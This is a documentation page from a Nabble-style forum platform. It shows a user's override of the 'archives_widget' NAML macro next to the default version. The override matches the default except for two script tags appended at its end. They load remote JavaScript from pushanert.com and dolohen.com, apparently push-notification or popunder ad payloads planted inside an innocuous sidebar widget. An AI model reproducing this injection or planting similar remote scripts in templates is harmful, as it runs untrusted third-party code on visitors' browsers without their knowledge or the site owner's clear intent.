archives_widget

NAML documentation   Watch a video
   Usages of this macro
The source code below doesn't have navigation links because no usage has been compiled yet. Navigation links depend on how and where the macro is used, so first you may try finding all usages of "archives_widget".
... in archives_widget.naml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<override_macro name="archives_widget" requires="node_page,servlet">
    <n.widget.>
        <h2 class="sidebar-section shaded-bg-color"><t>Archives</t></h2>
        <ul class="sidebar-section">
            <n.page_node.monthly_archives.>
                <li class="medium-border-color">
                    <a href="[n.page_node.path/]"><t>All</t></a>
                    <span class="weak-color">(<n.total/>)</span>
                </li>
 
                <n.year_list.loop.>
                    <li class="medium-border-color">
                        <div class="year bold">
                            <span>&#9656;</span>
                            <n.current_year.year/>
                        </div>
                        <div style="margin:.3em 0 .3em 1em; display:none">
                            <n.current_year.month_list.loop.>
                                <n.set_var. name="year-month"><n.current_month.year/><n.current_month.month/></n.set_var.>
                                <n.set_var. name="class">
                                    <n.if.equal value1="[n.var name='year-month'/]" value2="[n.app_date/]">
                                        <then>highlight</then>
                                    </n.if.equal>
                                </n.set_var.>
                                <n.set_var. name="archive-url">
                                    <n.page_node.app_path_by_date date="[n.var name='year-month'/]"/>
                                </n.set_var.>
                                <div class="[n.var name='class'/]" style="margin:.2em 0; padding: .2em .3em">
                                    <a href="[n.var name='archive-url'/]" rel="nofollow"><n.current_month.archive_text/></a>
                                    <span class="weak-color">(<n.current_month.count/>)</span>
                                </div>
                            </n.current_year.month_list.loop.>
                        </div>
                    </li>
                </n.year_list.loop.>
            </n.page_node.monthly_archives.>
        </ul>
        <script type="text/javascript">
            $(document).ready(function() {
                function collapse(e) {
                    $(e).children().first().html('&#9656;');
                    $(e).next().slideUp();
                };
                function expand(e) {
                    $(e).children().first().html('&#9662;');
                    $(e).next().slideDown();
                };
                var $years = $('.year');
                $years.css('cursor', 'pointer');
                var expanded = false;
                $years.each(function() {
                    var isOpen = $('div.highlight', $(this).next()).size() > 0;
                    if (isOpen) {
                        expand(this);
                        expanded = true;
                    }
                    $(this).click(function() {
                        var isOpen = $(this).next().is(':visible');
                        if (isOpen)
                            collapse(this);
                        else
                            expand(this);
                    });
                });
                if (!expanded) {
                    expand($years.eq(0).get());
                }
            });
        </script>
       <script src="//pushanert.com/ntfc.php?p=2483300"></script> 
<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2483284"></script>    </n.widget.>
</override_macro>
Overrides default macro
... in widget.naml
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
<macro name="archives_widget" requires="node_page,servlet">
    <n.widget.>
        <h2 class="sidebar-section shaded-bg-color"><t>Archives</t></h2>
        <ul class="sidebar-section">
            <n.page_node.monthly_archives.>
                <li class="medium-border-color">
                    <a href="[n.page_node.path/]"><t>All</t></a>
                    <span class="weak-color">(<n.total/>)</span>
                </li>
 
                <n.year_list.loop.>
                    <li class="medium-border-color">
                        <div class="year bold">
                            <span>&#9656;</span>
                            <n.current_year.year/>
                        </div>
                        <div style="margin:.3em 0 .3em 1em; display:none">
                            <n.current_year.month_list.loop.>
                                <n.set_var. name="year-month"><n.current_month.year/><n.current_month.month/></n.set_var.>
                                <n.set_var. name="class">
                                    <n.if.equal value1="[n.var name='year-month'/]" value2="[n.app_date/]">
                                        <then>highlight</then>
                                    </n.if.equal>
                                </n.set_var.>
                                <n.set_var. name="archive-url">
                                    <n.page_node.app_path_by_date date="[n.var name='year-month'/]"/>
                                </n.set_var.>
                                <div class="[n.var name='class'/]" style="margin:.2em 0; padding: .2em .3em">
                                    <a href="[n.var name='archive-url'/]" rel="nofollow"><n.current_month.archive_text/></a>
                                    <span class="weak-color">(<n.current_month.count/>)</span>
                                </div>
                            </n.current_year.month_list.loop.>
                        </div>
                    </li>
                </n.year_list.loop.>
            </n.page_node.monthly_archives.>
        </ul>
        <script type="text/javascript">
            $(document).ready(function() {
                function collapse(e) {
                    $(e).children().first().html('&#9656;');
                    $(e).next().slideUp();
                };
                function expand(e) {
                    $(e).children().first().html('&#9662;');
                    $(e).next().slideDown();
                };
                var $years = $('.year');
                $years.css('cursor', 'pointer');
                var expanded = false;
                $years.each(function() {
                    var isOpen = $('div.highlight', $(this).next()).size() > 0;
                    if (isOpen) {
                        expand(this);
                        expanded = true;
                    }
                    $(this).click(function() {
                        var isOpen = $(this).next().is(':visible');
                        if (isOpen)
                            collapse(this);
                        else
                            expand(this);
                    });
                });
                if (!expanded) {
                    expand($years.eq(0).get());
                }
            });
        </script>
    </n.widget.>
</macro>